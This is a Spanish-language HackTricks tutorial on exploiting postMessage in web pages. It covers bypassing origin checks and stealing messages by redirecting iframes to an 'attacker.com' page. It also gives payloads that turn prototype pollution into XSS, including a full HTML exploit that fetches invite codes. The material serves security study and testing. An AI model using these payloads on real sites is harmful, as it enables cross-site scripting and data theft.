Vulnerabilidades de PostMessage
Vulnerabilidades de PostMessage
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Enviar PostMessage
PostMessage utiliza la siguiente función para enviar un mensaje:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Tenga en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo se puede enviar a ese dominio (incluso si el origen del objeto window es diferente).
Si se utiliza el comodín, los mensajes podrían enviarse a cualquier dominio, y se enviarán al origen del objeto Window.
Atacando iframe y comodín en targetOrigin
Como se explica en este informe, si encuentra una página que puede ser iframed (sin protección X-Frame-Header
) y que está enviando mensajes sensibles a través de postMessage utilizando un comodín (*), puede modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por usted.
Tenga en cuenta que si la página puede ser iframed pero el targetOrigin está configurado a una URL y no a un comodín, este truco no funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
explotación de addEventListener
addEventListener
es la función utilizada por JS para declarar la función que está esperando postMessages
.
Se utilizará un código similar al siguiente:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Nota en este caso cómo la primera cosa que hace el código es verificar el origen. Esto es terriblemente importante principalmente si la página va a hacer algo sensible con la información recibida (como cambiar una contraseña). Si no verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos endpoints y cambiar las contraseñas de las víctimas (en este ejemplo).
Enumeración
Para encontrar oyentes de eventos en la página actual puedes:
- Buscar en el código JS
window.addEventListener
y$(window).on
(versión de JQuery) - Ejecutar en la consola de herramientas de desarrollo:
getEventListeners(window)
- Ir a Elements --> Event Listeners en las herramientas de desarrollo del navegador
- Usar una extensión de navegador como https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Estas extensiones de navegador interceptarán todos los mensajes y te los mostrarán.
Bypass de verificación de origen
- El atributo
event.isTrusted
se considera seguro ya que devuelveTrue
solo para eventos que son generados por acciones genuinas del usuario. Aunque es difícil de eludir si se implementa correctamente, su importancia en las verificaciones de seguridad es notable. - El uso de
indexOf()
para la validación de origen en eventos de PostMessage puede ser susceptible a eludir. Un ejemplo que ilustra esta vulnerabilidad es:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
- El método
search()
deString.prototype.search()
está destinado a expresiones regulares, no a cadenas. Pasar cualquier cosa que no sea una regexp conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo eludir la validación con dominios especialmente diseñados. Por ejemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La función
match()
, similar asearch()
, procesa regex. Si la regex está mal estructurada, podría ser propensa a eludir. -
La función
escapeHtml
está destinada a sanitizar entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado, sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de tal manera que su propiedad controlada no reconozcahasOwnProperty
, laescapeHtml
no funcionará como se espera. Esto se demuestra en los ejemplos a continuación: -
Fallo esperado:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Eludir la escapada:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
En el contexto de esta vulnerabilidad, el objeto File
es notablemente explotable debido a su propiedad name
de solo lectura. Esta propiedad, cuando se usa en plantillas, no es sanitizada por la función escapeHtml
, lo que lleva a posibles riesgos de seguridad.
- La propiedad
document.domain
en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de mismo origen dentro del mismo dominio padre.
Bypass de e.origin == window.origin
Al incrustar una página web dentro de un iframe sandboxed usando %%%%%%, es crucial entender que el origen del iframe se establecerá en nulo. Esto es particularmente importante al tratar con atributos sandbox y sus implicaciones en la seguridad y funcionalidad.
Al especificar allow-popups
en el atributo sandbox, cualquier ventana emergente abierta desde dentro del iframe hereda las restricciones sandbox de su padre. Esto significa que a menos que el atributo allow-popups-to-escape-sandbox
también esté incluido, el origen de la ventana emergente se establece de manera similar en null
, alineándose con el origen del iframe.
En consecuencia, cuando se abre una ventana emergente bajo estas condiciones y se envía un mensaje desde el iframe a la ventana emergente usando postMessage
, ambos extremos de envío y recepción tienen sus orígenes establecidos en null
. Esta situación conduce a un escenario donde e.origin == window.origin
evalúa como verdadero (null == null
), porque tanto el iframe como la ventana emergente comparten el mismo valor de origen de null
.
Para más información lee:
Bypassing SOP with Iframes - 1
Eludir e.source
Es posible verificar si el mensaje provino de la misma ventana en la que el script está escuchando (especialmente interesante para Content Scripts de extensiones de navegador para verificar si el mensaje fue enviado desde la misma página):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
Puedes forzar e.source
de un mensaje a ser nulo creando un iframe que envía el postMessage y es inmediatamente eliminado.
Para más información lee:
Bypassing SOP with Iframes - 2
Bypass de X-Frame-Header
Para realizar estos ataques, idealmente podrás poner la página web de la víctima dentro de un iframe
. Pero algunos encabezados como X-Frame-Header
pueden prevenir ese comportamiento.
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña a la aplicación web vulnerable y comunicarte con ella:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Robando mensajes enviados al hijo bloqueando la página principal
En la siguiente página puedes ver cómo podrías robar un sensible postmessage data enviado a un child iframe al bloquear la página principal antes de enviar los datos y abusar de un XSS en el hijo para leak the data antes de que sea recibido:
Blocking main page to steal postmessage
Robando mensajes modificando la ubicación del iframe
Si puedes iframe una página web sin X-Frame-Header que contenga otro iframe, puedes cambiar la ubicación de ese child iframe, así que si está recibiendo un postmessage enviado usando un wildcard, un atacante podría cambiar ese iframe origin a una página controlada por él y steal el mensaje:
Steal postmessage modifying iframe location
postMessage a Prototype Pollution y/o XSS
En escenarios donde los datos enviados a través de postMessage
son ejecutados por JS, puedes iframe la página y exploit la prototype pollution/XSS enviando el exploit a través de postMessage
.
Un par de muy bien explicados XSS a través de postMessage
se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
Ejemplo de un exploit para abusar de Prototype Pollution y luego XSS a través de un postMessage
a un iframe
:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Para más información:
- Enlace a la página sobre contaminación de prototipos
- Enlace a la página sobre XSS
- Enlace a la página sobre contaminación de prototipos del lado del cliente a XSS
Referencias
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Para practicar: https://github.com/yavolo/eventlistener-xss-recon
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.